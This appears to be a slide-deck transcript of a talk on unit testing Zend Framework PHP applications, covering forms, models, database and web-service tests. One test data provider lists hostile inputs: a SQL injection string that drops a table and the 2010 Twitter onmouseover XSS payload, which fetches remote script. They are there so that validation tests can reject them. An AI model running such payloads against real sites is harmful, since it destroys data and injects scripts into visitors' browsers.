    Create the formclass <?php class Application_Form_CommentForm extends Zend_Form { public function init() { /* Form Elements & Other Definitions Here ... */ } }
  • 25.
  • 26.
    Let’s put inour elements <?php class Application_Form_CommentForm extends Zend_Form { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  • 27.
  • 28.
    Filter - Validate $this->addElement('text','name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  • 29.
  • 30.
    You’re a winner! ☑quality code ☑ tested ☑ secure ☑ reusable
  • 31.
  • 32.
    Testing business logic •-models contain logic tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  • 33.
    Type: data containers •-contains structured data populated through setters and getters •- perform logic tied to it’s purpose transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  • 34.
  • 35.
    Writing model test <?php classApplication_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  • 36.
  • 37.
    Create a simplemodel <?php class Application_Model_Comment { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  • 38.
    We pass thetest…
  • 39.
  • 40.
    Not all datafrom form! •- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  • 41.
    The good stuff publicfunction goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  • 42.
    The bad stuff publicfunction badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  • 43.
  • 44.
    Modify our model protected$_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  • 45.
    Modify setters: Id& name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  • 46.
    Email & website publicfunction setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  • 47.
    and comment public functionsetComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  • 48.
  • 49.
  • 50.
    Integration Testing •- databasespecific functionality triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  • 51.
    Points of concern •-beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 52.
    The domain Model •Model object • Mapper object • Table gateway object Read more about it
  • 53.
    Change our testclass class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 54.
    Setting DB Testingup protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  • 55.
    initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 56.
    Testing SELECT public functiontestDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 57.
    selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 58.
    Testing UPDATE public functiontestDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 59.
    updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 60.
    Testing DELETE public functiontestDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 61.
    deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 62.
    Testing INSERT public functiontestDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 63.
    insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 64.
  • 65.
  • 66.
  • 67.
    Testing INSERT w/filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  • 68.
    insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 69.
  • 70.
  • 71.
    Web services remarks •-you need to comply with an API that will be your reference •- You cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  • 72.
  • 74.
    JoindIn Test <?php class Zftest_Service_JoindinTestextends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); // using the test adapter for testing $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }
  • 75.
    JoindIn Test public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date- >format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 76.
  • 77.
    Euh… What? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failedasserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response>
  • 78.
    And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failedasserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version=”1.0”?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> </response>
  • 79.
  • 80.
    API = testscenarios
  • 81.
    Mocking Client Adapter <?php classZftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); // using the test adapter for testing $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); }
  • 82.
    JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 83.
    JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()- >setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date- >format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); } }
  • 84.
  • 85.
  • 86.
    When to use? •-GOOD validation of correct headers - track redirections - errors and/or exceptions - visitor flow (page 1 -> page 2, …) •NOT SO GOOD - validation of DOM elements on page - asserting (error) messages
  • 87.
  • 88.
    REMARK •- data providerscan be used to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in the form
  • 89.
    Setting up ControllerTest ?php classIndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } … }
  • 90.
    Testing Form ison Page public function testIndexAction() { $params = array('action' => 'index', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains('h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  • 91.
    Test if wehit home public function testSuccessAction() { $params = array('action' => 'success', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  • 92.
    Test Processing public functiontestProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  • 93.
    Redirect test public function testSuccessAction() { $params = array('action' => 'success', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  • 94.
  • 95.
  • 96.
    Conclusion • unit testingis simple • no excuses not to test •- test what counts what makes you loose money if it breaks? •- mock out whatever’s expensive databases, filesystem, services, …
  • 97.
    Thank you • sourcecode: http://github.com/DragonBe/zftest • your rating: http://joind.in/talk/view/3790 •- follow me: twitter: @DragonBe - facebook: DragonBe
  • 98.
    • January 27-28,2012 Antwerp Belgium • 2 day conference • community driven • low prices • ticket sales start in November